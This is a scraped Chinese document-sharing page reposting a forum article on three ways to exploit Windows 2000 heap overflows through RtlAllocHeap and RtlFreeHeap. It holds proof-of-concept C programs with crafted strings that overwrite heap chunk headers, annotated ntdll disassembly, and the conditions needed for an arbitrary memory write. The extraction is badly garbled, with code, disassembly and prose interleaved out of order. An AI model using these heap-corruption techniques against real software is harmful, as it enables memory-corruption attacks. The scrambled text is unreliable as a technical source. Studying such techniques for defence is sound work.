




版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡介
1、001B:77FCC453 8901MOV ECX,EAX原文由 Leven 發(fā)在網(wǎng)絡(luò)編程版:https:/ windows 下堆溢出的三種利用方式 1. 利用 RtlAllocHeap這是 ISNO 提到的,看這個例子 main (int argc, char *argv)char *buf1, *buf2;charsaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaax03x00 x05x00 x00 x01x08x00 x11x11x11x11x21x21x21x21;buf2 = (char*)malloc (16);free (buf1);free (buf2);retu
2、rn 0;在給 buf1 完成 malloc 之后,返回的地址 (buf1) 是個指針,指向的內(nèi)存分配情況是這樣 buf1 的管理結(jié)構(gòu)(8bytes)|buf1 真正可操作空 間(32bytes)|下一個空閑堆的管理結(jié)構(gòu) (8bytes)| 兩個雙鏈表指針 (8bytes) 在給 buf2 完成 malloc 之后, buf1 指向的內(nèi)存分配情況是這樣 buf1 的管理結(jié)構(gòu) (8bytes)|buf1 真正可操作空間 (32bytes)|buf2 的管理結(jié)構(gòu) (8bytes)|buf2 真正可操作空間 (16bytes)| 兩個雙鏈表指針 (8bytes) 現(xiàn)在如果在 buf2 分配空間之前,
3、buf1 的 memcpy 操作溢出,并且覆蓋了 下一個空閑堆的管理結(jié)構(gòu) (8bytes)| 兩個雙鏈表指針 (8bytes)共 16 個字節(jié)的時(shí)候,就會造成 buf2 的 RtlAllocHeap 操作異常。原因看 RtlAllocHeap 的這 段代碼buf1 = (char*)malloc (32); /*memcpy (buf1, s, 32+16); /*分配兩塊內(nèi)存 */這里多復(fù)制 16 個字節(jié) */001B:77FCC455 894804MOV EAX+04,ECX此時(shí) ECX 指向兩個雙鏈表指針(0 x11111111) 。類似于 format單,前提是在 buf2 分配空間之
4、前 buf1 有溢出的機(jī)會 2. 利用 RtlFreeHeap 的方式一 這是 ilsy 提到的,看例子 main (int argc, char *argv)char *buf1, *buf2;char s = aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaax03x00 x05x00 x00 x09;buf1 = (char*)malloc (32); /* buf2 =(char*)malloc (16);(8bytes) 的后一個指針 (0 x21212121) , EAX 指向前一個指針 string溢出,可以寫任意數(shù)據(jù)到任意地址,這種情況比較簡分配兩塊內(nèi)存 */me
5、mcpy (buf1, s, 32+6); /*這里多復(fù)制 6 個字節(jié) */free(buf1);freereturn0;由于 buf1 多復(fù)制了 6 個字節(jié), 生異常。只要我們精心構(gòu)造這個這 6 個字節(jié)會覆蓋掉 buf2 的管理結(jié)構(gòu), 在 free(buf2) 時(shí)會發(fā)6 個字節(jié)就可以達(dá)到目的先看看 8 字節(jié)管理結(jié)構(gòu)的定義(從 windows 源碼中找到) typedefstruct _HEAP_ENTRY /This field gives the size of the current block in allocationgranularity units. (i.e. Size HEA
6、P_GRANULARITY_SHIFT equalsthe size in bytes).Except if this is part of a virtual alloc block then thisvalue is the difference between the commit size in the virtualalloc entry and the what the user asked for./USHORT Size;/ This field gives the size of the previous block in allocation/ granularity un
7、its. (i.e. PreviousSize HEAP_GRANULARITY_SHIFT/ equals the size of the previous block in bytes)./USHORT PreviousSize;/ This field contains the index into the segment that controls/ the memory for this block. /UCHAR SegmentIndex;/ This field contains various flag bits associated with this block./ Cur
8、rently these are:/UCHAR Flags;/ This field contains the number of unused bytes at the end of this/ block that were not actually allocated. Used to compute exact / size requestedprior to rounding requested size to allocation / granularity. Also used for tailchecking purposes. /UCHAR UnusedBytes;/ Sma
9、ll (8 bit) tag indexes can go here. /UCHAR SmallTagIndex;/0 x01 - HEAP_ENTRY_BUSY/0 x02 - HEAP_ENTRY_EXTRA_PRESENT0 x04 - HEAP_ENTRY_FILL_PATTERN0 x08 - HEAP_ENTRY_VIRTUAL_ALLOC/0 x10 - HEAP_ENTRY_LAST_ENTRY0 x20 - HEAP_ENTRY_SETTABLE_FLAG10 x40 - HEAP_ENTRY_SETTABLE_FLAG20 x80 - HEAP_ENTRY_SETTABLE
10、_FLAG3001B:77FCC8A0F6C301#if defined(_WIN64)ULONGLONG Reserved1;#endif HEAP_ENTRY, *PHEAP_ENTRY;就是size(2bytes)|size(2bytes)|index(1byte)|flag(1byte)|unusedbytes(1byte)|smalltagindex(1byte)注意這里的 size 是實(shí)際大小進(jìn)行 8 字節(jié)對齊后除以 可以看看 flag 的各個定義再看看 RtlFreeHeap 里面幾個關(guān)鍵的地方HEAP_ENTRY_BUSY轉(zhuǎn),這里不能跳關(guān)鍵點(diǎn)二MOV DWORD PTR EBP
11、-04,00000001 TEST BL,01001B:77FCC847834DFCFFOR001B:77FCC84BA8E0TESTDWORD PTR EBP-04,-01AL,E0/flag是否含有HEAP_ENTRY_SETTABLE_FLAG1 2 3001B:77FCC84D 754AJNZ77FCC899/只要含有一個就跳,這里不重要001B:77FCC84F8B8F80050000001B:77FCC85585C9TESTMOV ECX,EDI+00000580ECX,ECX001B:77FCC8577440JZ77FCC899/這里必然會跳001B:77FCC8A3750FJN
12、Z 77FCC8B4/這里必然會跳001B:77FCC8A5FFB778050000PUSH DWORD PTR EDI+000005788 的值關(guān)鍵點(diǎn)一001B:77FCC829 8A4605MOVAL,ESI+05/esi指向 buf2 的 8 字節(jié)管理結(jié)構(gòu)的起始地址, al 即 flag001B:77FCC82C A801TESTAL,01/flag值是 否含有001B:77FCC82E跳0F84A40E0000JZ77FCD6D8/不含則跳轉(zhuǎn)。這里不能001B:77FCC834F6C207TESTDL,07001B:77FCC8370F859B0E0000JNZ77FCD6D8001B
13、:77FCC83D807E0440CMPBYTEPTRESI+04,40 /esi+4是否大于 0 x40001B:77FCC8410F83910E0000JAE77FCD6D8/大于等于則跳001B:77FCC899C745FC010000001x22x22x22x22;CALLMOV TEST001B:77FCC8AB E853C8FBFF001B:77FCC8B0 C645D401001B:77FCC8B4 F6460508 含HEAP_ENTRY_VIRTUAL_ALLOCntdll!RtlEnterCriticalSectionBYTE PTR EBP-2C,01BYTE PTR E
14、SI+05,08 /flag是否001B:77FCC8B8 0F858BF2FFFF JNZ 要跳77FCBB49/含有則跳,這里001B:77FCBB49 83C6E8ADDESI,-18/ilsy的 windows 版本上這個 0 x18的是不同的001B:77FCBB4C 89759CMOVEBP-64,ESI001B:77FCBB4F 8B06MOVEAX,ESI001B:77FCBB51 894598MOVEBP-68,EAX001B:77FCBB54 8B7604MOVESI,ESI+04001B:77FCBB57 897594MOVEBP-6C,ESI001B:77FCBB5A
15、8906MOVESI,EAX/關(guān)鍵點(diǎn)三常說在不同這里會操作異EAX=0X61616161,ESI=0X61616161, 正好是我們看到最后操作異常的時(shí)候?qū)?buf2 的起始地址減去 0 x18 的地址的數(shù)據(jù)復(fù)制到之后buf1 里的值,就是的數(shù)據(jù)所指向的地址。我們可以控制這兩個數(shù)據(jù)。 可見第二種方式的前提有三個: 1)構(gòu)造堆( buf2 )的flag 必須含有 設(shè)成 0 xff 2) 構(gòu)造堆的 flag 前面那個字節(jié)要比HEAP_ENTRY_BUSY HEAP_ENTRY_VIRTUAL_ALLO 可以0 x40 小3)構(gòu)造堆的上一個堆(即 buf1 )的長度必須大于或等于 0 x18+0 x
16、08 即 32 個字節(jié),否則在關(guān) 鍵點(diǎn)三處, ESI會指向我們不能控制的區(qū)域,造成利用失敗 還有 ilsy 提到字節(jié)構(gòu)造的 8 字節(jié)管理結(jié)構(gòu)的第一個字節(jié)必須大于 0 x80 ,在我的機(jī)器上并沒 0 x99 ,我用 0 x03 ,也能成功利用有必要 (windows2000pro cn+sp4) ,他用3. 利用 RtlFreeHeap 的方式這是我研究堆溢出發(fā)現(xiàn)的第一種異常情況, 認(rèn)為這是 unlink 本堆塊時(shí)發(fā)生的異常。 看例子之前不明就里, 花了 2 個小時(shí)看了幾篇帖子之后,main (int argc, char*argv)char *buf1, *buf2;charsaaaaaaaa
17、aaaaaaaaaaaaaaaaaaaaaaaax03x00 x05x00 x00 x00 x08x00 x11x11x11x11x22x22x22x22;001B:77FCC9C453PUSHEBX001B:77FCC9C155PUSHEBP001B:77FCC9C28BECMOVEBP,ESP001B:77FCC9C556PUSHESIbuf1 = (char*)malloc (32); /* buf2 =(char*)malloc (16);分配兩塊內(nèi)存 */memcpy (buf1, s, 32+16); /*這里多復(fù)制 16 個字節(jié) */free (buf1);free (buf2)
18、;return 0;看起來和方式二很象,不過運(yùn)行之后會發(fā)現(xiàn),不同于上面提到的,這里在現(xiàn)異常。同樣再看看 RtlFreeHeap 的幾個關(guān)鍵點(diǎn)free(buf1) 時(shí)就出關(guān)鍵點(diǎn)一同方式二的關(guān)鍵點(diǎn)一,設(shè)法跳到關(guān)鍵點(diǎn)二關(guān)鍵點(diǎn)二001B:77FCC899C745FC01000000 MOV DWORD PTR EBP-04,00000001001B:77FCC8A0F6C301TEST BL,01001B:77FCC8A3750FJNZ 77FCC8B4001B:77FCC8A5FFB778050000PUSH DWORD PTR EDI+00000578001B:77FCC8ABE853C8FBFF
19、CALLntdll!RtlEnterCriticalSection001B:77FCC8B0C645D401MOV001B:77FCC8B4F6460508TESTBYTE PTR EBP-2C,01BYTE PTR ESI+05,08 /flag是否含 HEAP_ENTRY_VIRTUAL_ALLOC001B:77FCC8B80F858BF2FFFFJNZ77FCBB49/含有則跳,這里不能跳001B:77FCC8BE0FB706MOVZXEAX,WORD PTR ESI001B:77FCC8C18945D0MOVEBP-30,EAX001B:77FCC8C4F6470C80TEST001B
20、:77FCC8C87515JNZBYTE PTR EDI+0C,8077FCC8DF001B:77FCC8CA6A00PUSH00EAX,EBP-30001B:77FCC8CF50PUSHEAX001B:77FCC8D056PUSHESI001B:77FCC8D157PUSHEDICALL 77FCC9C1/進(jìn)入這個 CALL關(guān)鍵點(diǎn)三001B:77FCC8CC8D45D0LEA001B:77FCC8D2E8EA000000001B:77FCC9C6 8B750CMOVESI,EBP+0C001B:77FCC9C98B5D08MOVEBX,EBP+08001B:77FCC9CC57PUSHEDI
21、001B:77FCC9CD8BFEMOVEDI,ESI /ESI指向 buf1 的起始地址001B:77FCC9CF0FB74602MOVZX EAX,WORD PTR ESI+02 /將 buf1之前的堆的長度放入 EAX001B:77FCC9D3C1E003SHLEAX,03 /乘以 8 得到實(shí)際大小001B:77FCC9D62BF8SUBEDI,EAX /EDI指向 buf1 之前的堆的起始地址001B:77FCC9D83BFECMPEDI,ESI001B:77FCC9DA740AJZ77FCC9E6001B:77FCC9DCF6470501TEST BYTE PTREDI+05,01/
22、 上一個堆的flag 是否含 HEAP_ENTRY_BUSY001B:77FCC9E00F8498E9FFFF JZ 77FCB37E /不能跳001B:77FCC9E6F6460510TEST BYTE PTRESI+05,10/ 上一個堆的flag 是否含 HEAP_ENTRY_LAST_ENTRY001B:77FCC9EA750FJNZ77FCC9FB /不能跳001B:77FCC9EC8B4510MOVEAX,EBP+10001B:77FCC9EF8B00MOVEAX,EAX /buf1的堆的長度001B:77FCC9F1F644C60501 TEST BYTE PTR EAX*8+E
23、SI+05,01 /buf2的堆的 flag 是否含 HEAP_ENTRY_BUSY001B:77FCC9F68D3CC6LEAEDI,EAX*8+ESI /EDI指向buf2 的起始地址001B:77FCC9F97409JZ 77FCCA04 /不含則跳(合并空閑堆?),這里要跳001B:77FCC9FB8BC6MOVEAX,ESI001B:77FCC9FD5FPOPEDI001B:77FCC9FE5EPOPESI001B:77FCC9FF5BPOPEBX001B:77FCCA005DPOPEBP001B:77FCCA01C21000RET0010001B:77FCCA040FB70FMOV
24、ZX ECX,WORD PTR EDI /ECX即buf2 的堆的長度001B:77FCCA0703C8ADDECX,EAX /加上 buf1 的堆的長度001B:77FCCA0981F900FE0000CMP ECX,0000FE00/ 是否大于0 xfe00001B:77FCCA0F77EAJA77FCC9FB /大于則跳,這里不能跳001B:77FCCA11807D1400CMPBYTE PTR EBP+14,00001B:77FCCA150F85FB210000 JNZ 77FCEC16001B:77FCC8B8 0F858BF2FFFFJNZ 77FCBB49方式二在這里要跳,方式三不能跳,從而進(jìn)入下面的CALL(關(guān)鍵點(diǎn)三)發(fā)生異常時(shí) ECX=0 x22222222,EAX=0 x11111111,這是我們能控制的。可見方式三的前提有三個1)構(gòu)造堆(buf2 )的長度不能為 02)構(gòu)造堆的上一個堆( buf1 )和構(gòu)造堆的長度
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 2025年淮南師范學(xué)院單招職業(yè)技能測試題庫新版
- 2025年黑龍江交通職業(yè)技術(shù)學(xué)院單招職業(yè)適應(yīng)性測試題庫完美版
- 第七單元《習(xí)作:-即景》教學(xué)設(shè)計(jì)-2024-2025學(xué)年五年級上冊語文統(tǒng)編版
- 2025年貴陽職業(yè)技術(shù)學(xué)院單招職業(yè)適應(yīng)性測試題庫完整
- 2025年河北化工醫(yī)藥職業(yè)技術(shù)學(xué)院單招職業(yè)適應(yīng)性測試題庫完整版
- 2025年度電梯門套智能化門禁系統(tǒng)安裝合同
- 2025年度互聯(lián)網(wǎng)行業(yè)勞務(wù)派遣與技術(shù)研發(fā)合同
- 2025年度房地產(chǎn)投資信托基金房屋回購安排協(xié)議
- 2025年度房屋出售代理市場拓展協(xié)議
- 2025年度公司停車場車輛停放管理及賠償協(xié)議
- 【班級管理表格】學(xué)生檢討反思承諾書
- 抗生素種類歸納分類
- 社會保險(xiǎn)職工增減表
- 客戶滿意率統(tǒng)計(jì)表
- 低壓電工考試題庫(含答案)
- 邊坡抗滑樁計(jì)算
- 工程建筑部門周例會-課件
- 2022人臉識別安全白皮書
- 體育測量與評價(jià)04心肺功能的測量與評價(jià)
- 提高意識風(fēng)險(xiǎn)防范化解能力體會發(fā)言
- 無人機(jī)應(yīng)用案例-石油領(lǐng)域油氣管線巡查
評論
0/150
提交評論